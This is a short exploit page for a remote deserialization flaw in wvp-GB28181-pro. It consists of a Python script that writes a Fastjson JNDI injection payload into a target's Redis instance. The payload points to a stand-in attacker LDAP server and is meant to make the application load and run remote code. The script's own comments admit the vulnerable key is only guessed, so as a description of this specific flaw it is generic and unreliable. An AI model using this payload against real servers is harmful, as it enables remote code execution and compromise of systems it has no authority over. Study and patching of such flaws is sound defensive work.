CVE-2026-4860 wvp-GB28181-pro远程反序列化漏洞

import redis # Connect to the target Redis instance r = redis.Redis(host='target_ip', port=6379, db=0) # Malicious payload using Fastjson JNDI injection # Note: This is a generic Fastjson payload structure malicious_payload = '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker_server:1389/exploit","autoCommit":true}' # The specific key depends on the application logic, assuming it reads a session or config key # Attackers would need to know which key the application deserializes. # For demonstration, we set a generic key. r.set('vulnerable_key', malicious_payload) print("Payload sent to Redis.")